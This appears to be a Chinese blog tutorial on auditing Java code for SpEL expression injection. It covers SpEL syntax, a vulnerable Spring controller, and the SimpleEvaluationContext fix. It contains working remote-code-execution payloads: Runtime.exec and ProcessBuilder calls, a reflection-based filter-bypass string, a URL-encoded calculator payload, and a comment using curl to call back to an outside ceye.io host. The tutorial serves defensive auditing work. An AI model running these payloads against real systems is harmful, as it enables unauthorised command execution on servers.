java代码审计-SpEL表达式注入
0x01 前言
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言
0x02 SpEL 语法
SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
- 引用其他对象:
#{car} - 引用其他对象的属性:
#{car.brand} - 调用其它方法 , 还可以链式操作:
#{car.toString()} - 其中属性名称引用还可以用\(符号 如:`\){someProperty} `
除此以外在SpEL中,使用T() 运算符会调用类作用域的方法和常量。类类型表达式:使用"T(Type)"来表示 java.lang.Class 实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段
例如,在SpEL中使用Java的Math类,这样使用T()运算符:#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象
0x03 SpEL 使用方式
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据
- 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
- Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值
- EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等
spel表达式有三种用法:
- 注解
@value("#{表达式}")
public String arg;
这种一般是写死在代码中的,不是关注的重点
- xml
<bean id="Bean1" class="com.test.xxx">
<property name="arg" value="#{表达式}">
</bean>
这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等
- 在Controller中处理外部传入的表达式
这部分是关注的重点
@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
ExpressionParser expressionParser = new SpelExpressionParser();
Expression expression = expressionParser.parseExpression(spel);
Object object = expression.getValue();
return object.toString();
}
0x03 漏洞利用
- 漏洞可以利用的前置条件有三个:
- 传入的表达式未过滤
- 表达式解析之后调用了getValue/setValue方法
- 使用StandardEvaluationContext(默认)作为上下文对象
- spel表达式功能非常强大,在漏洞利用方面主要使用这几个功能:
- 使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。
T(java.lang.Runtime).getRuntime().exec("whoami")
- 直接通过java语法实例化对象、调用方法
new ProcessBuilder("whoami").start()
//可以利用反射来绕过一些过滤
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
0x03 案例
/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?
expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
如果不指定默认使用StandardEvaluationContext作为上下文对象,注意payload需要URL编码
payload:[http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)](http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22))

0x03 漏洞防御
使用SimpleEvaluationContext作为上下文对象。
修复代码:
@GetMapping("/spel/sec")
public String spel_sec(String expression) {
ExpressionParser parser = new SpelExpressionParser();
//只读属性
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
return parser.parseExpression(expression).getValue(context).toString();
}
0x04
审计方法:
可以先全局搜索 org.springframework.expression.spel.standard, 或是 expression.getValue()、expression.setValue(),定位到具体漏洞代码,再分析传入的参数能不能利用,最后再追踪参数来源,看看是否可控
关键词:SpelExpressionParser 、StandardEvaluationContext
参考链接:Java特色-表达式注入漏洞从入门到放弃
java代码审计-SpEL表达式注入的更多相关文章
- SpEL表达式注入漏洞学习和回显poc研究
目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- JAVA WEB EL表达式注入
看猪猪侠以前的洞,顺便总结下: 一.EL表达式简介 EL 全名为Expression Language.EL主要作用: 1.获取数据 EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的we ...
- SpringBoot框架SpEL表达式注入漏洞复现与原理分析
前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...
- SpEL表达式注入
一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...
- Java Web表达式注入
原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...
- ref:一种新的攻击方法——Java Web表达式注入
ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...
- 【spring boot】SpringBoot初学(2.2)– SpEL表达式读取properties属性到Java对象
前言 github: https://github.com/vergilyn/SpringBootDemo 代码位置:(注意测试方法在,test下的SpelValueApplicationTest.c ...
- Java代码审计连载之—SQL注入
前言近日闲来无事,快两年都没怎么写代码了,打算写几行代码,做代码审计一年了,每天看代码都好几万行,突然发现自己都不会写代码了,真是很DT.想当初入门代码审计的时候真是非常难,网上几乎找不到什么java ...
随机推荐
- 微信防红页面JS代码
将Js代码复制粘贴到你网站所需要的页面,保存即可,完美实现防红,具体未测试,如果需要可以自己测试效果. <meta charset="utf-8″> <meta name= ...
- Drone自动部署配置文件
.drone.yml 点击查看代码 kind: pipeline # 定义对象类型,还有secret和signature两种类型 type: docker # 定义流水线类型,还有kubernetes ...
- PostScript语言教程(七、条件语句)
POSTSCRIPT语言中有许多操作符用于制定程序内流的控制.我们在前一章使用了一个repeat运算.所有的控制操作符都使用了之前简要提到的对象类型,即函数,用于我们调用. 7.1.函数 函数(既过程 ...
- 基于Python的简单读卡上位机界面
使用到的模块,pyserial pyqt5 pymysql (我先是实现在命令行下通过串口进行对板子硬件的控制,比如Led ,beep等,在实现检测卡(是否选卡成功),连接卡(验证哪一个扇区),读 ...
- React-Native笔记--node_modules删除
在开发RN项目过程中,经常会用到删除node_modules文件夹的命令,现总结如下: 方式1: npm install rimraf -g rimraf node_modules方式2: rmdir ...
- UNIT ONE
一.机器语言 1.机器指令 0与1构成 2.机器可以直接执行 二.汇编语言 1.汇编指令 要翻译成机器指令,机器才可以运行 2.给人看的,主要是人看得懂 VS 机器.汇编. ...
- CF960G
首先我们考虑$n$的情况,显然以$n$为分界线可以将整个序列分成两部分,就像这样: . 那么我们考虑:在这个东西前面才会有前缀最大的统计,在这个东西后面才会有后缀最大的统计 这样就剩下了$n-1$个元 ...
- oracle函数及相关问题
show user 查看当前用户select * from tab: 查看当前数据库中的表desc 表名 : 查看表结构 between and 包含开头结尾 函数: months_between(a ...
- scala之函数式编程
1.面相对象编程和函数式编程 2.函数和方法的区别 scala可以在任何的语法结构中声明任何的语法: scala中函数可以嵌套定义: scala中如果main内部的函数 和 main外部的函数名称.参 ...
- pytorch 简简单单求个值
能用张量处理就用张量,不要使用for in 跑循环,一个是容易出错,一个是比较浪费时间,应用广播机制的话去做很容易的 1.5 使用mean处理平均值 2. 在处理梯度的时候无法更改自身,因此使用的办法 ...